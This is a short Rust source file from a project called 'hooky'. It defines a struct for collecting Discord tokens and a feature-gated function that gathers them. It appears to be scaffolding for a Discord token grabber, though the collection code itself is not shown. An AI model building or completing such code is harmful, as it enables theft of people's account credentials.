~/hooky

hooky/data/src/lib.rs -rw-r--r-- 498 B
03bd875f — Arthur Melton did my errors 2 years ago
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use serde_derive::{Deserialize, Serialize};

#[cfg(feature = "functions")]
mod all_data;

#[derive(Deserialize, Serialize, Clone)]
pub struct Sends {
    pub discord_token: Vec<String>,
}

#[cfg(feature = "functions")]
impl Sends {
    pub fn init() -> Sends {
        Sends {
            discord_token: Vec::new(),
        }
    }
}

#[cfg(feature = "functions")]
pub fn get_all_data() -> Sends {
    let mut sends = Sends::init();
    #[cfg(feature = "discord")]
    sends.discord();
    sends
}